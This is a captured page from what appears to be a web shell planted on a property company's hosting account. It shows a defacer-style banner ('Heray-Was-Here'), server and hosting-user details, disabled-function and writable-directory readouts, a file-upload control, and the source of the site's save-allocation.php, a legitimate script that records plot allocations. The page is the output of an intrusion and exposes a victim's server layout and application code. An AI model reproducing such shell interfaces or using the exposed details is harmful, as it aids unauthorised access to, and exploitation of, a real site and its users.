Heray-Was-Here
Server : LiteSpeed
System : Linux uk-fast-web1372.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u390967363 ( 390967363)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Directory :  /home/u390967363/domains/aibenproperties.com/public_html/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u390967363/domains/aibenproperties.com/public_html/app/save-allocation.php
<?php
if (session_status() === PHP_SESSION_NONE) { session_start(); }
require_once __DIR__ . '/includes/db.php';
require_once __DIR__ . '/includes/functions.php';

function colExistsLocal($table, $col) {
    global $pdo;
    try {
        $st = $pdo->query("SHOW COLUMNS FROM `$table`");
        $cols = $st ? $st->fetchAll(PDO::FETCH_COLUMN) : [];
        return in_array($col, $cols, true);
    } catch (Throwable $e) { return false; }
}

$role = strtolower($_SESSION['user_role'] ?? 'guest');
if (!in_array($role, ['admin','head_admin','admin_head','admin_officer','finance_manager','super_admin','executive','accountant'])) {
    header("Location: allocation-queue.php?toast=" . urlencode("Access denied") . "&type=danger");
    exit;
}

$clientId = (int)($_POST['client_id'] ?? 0);
$propertyId = (int)($_POST['property_id'] ?? 0);
$block = trim($_POST['block'] ?? '');
$plotNumber = trim($_POST['plot_number'] ?? '');
$plotSize = (int)($_POST['plot_size'] ?? 0);
$allocDate = trim($_POST['allocation_date'] ?? date('Y-m-d'));

if ($clientId <= 0 || $block === '' || $plotNumber === '' || $plotSize <= 0) {
    header("Location: allocation-queue.php?toast=" . urlencode("Invalid allocation data") . "&type=danger");
    exit;
}

$estateId = 0;
try {
    if ($propertyId > 0 && function_exists('tableHasColumn') && tableHasColumn('properties', 'estate_id')) {
        $stEstate = $pdo->prepare("SELECT estate_id FROM properties WHERE id = ? LIMIT 1");
        $stEstate->execute([$propertyId]);
        $estateId = (int)($stEstate->fetchColumn() ?: 0);
    }
} catch (Throwable $e) {
    $estateId = 0;
}
if ($estateId > 0 && function_exists('ensureEstateLayoutSchema')) {
    ensureEstateLayoutSchema($pdo);
    $layoutConflict = estateLayoutFindAllocationConflict($estateId, $plotNumber);
    if ($layoutConflict) {
        $msg = "This plot has already been allocated. Plot: " . ($layoutConflict['plot_number'] ?? $plotNumber)
            . " | Client: " . ($layoutConflict['owner_name'] ?? 'Existing Client')
            . " | Ref: " . ($layoutConflict['allocation_reference'] ?? 'N/A');
        header("Location: allocation-queue.php?toast=" . urlencode($msg) . "&type=danger");
        exit;
    }
}

try {
    $cols = ['user_id'];
    $vals = [$clientId];
    $place = '?';
    if (colExistsLocal('allocations','property_id') && $propertyId > 0) { $cols[]='property_id'; $vals[]=$propertyId; $place .= ',?'; }
    if (colExistsLocal('allocations','block')) { $cols[]='block'; $vals[]=$block; $place .= ',?'; }
    if (colExistsLocal('allocations','plot_number')) { $cols[]='plot_number'; $vals[]=$plotNumber; $place .= ',?'; }
    if (colExistsLocal('allocations','plot_size')) { $cols[]='plot_size'; $vals[]=$plotSize; $place .= ',?'; }
    if (colExistsLocal('allocations','allocation_date')) { $cols[]='allocation_date'; $vals[]=$allocDate; $place .= ',?'; }
    if (colExistsLocal('allocations','status')) { $cols[]='status'; $vals[]='pending_chairman_approval'; $place .= ',?'; }
    if (colExistsLocal('allocations','created_at')) { $cols[]='created_at'; $vals[]=date('Y-m-d H:i:s'); $place .= ',?'; }
    $sql = "INSERT INTO allocations (".implode(',', $cols).") VALUES ($place)";
    $st = $pdo->prepare($sql);
    $st->execute($vals);
    $allocationId = (int)$pdo->lastInsertId();
    if ($allocationId > 0 && $estateId > 0 && function_exists('estateLayoutAttachAllocation')) {
        try { estateLayoutAttachAllocation($allocationId, $estateId, $plotNumber, $clientId, $propertyId); } catch (Throwable $e) {}
    }
    header("Location: allocation-queue.php?toast=" . urlencode("Allocation saved. Awaiting chairman approval.") . "&type=success");
    exit;
} catch (Throwable $e) {
    header("Location: allocation-queue.php?toast=" . urlencode("Failed to save allocation") . "&type=danger");
    exit;
}
?>

Hry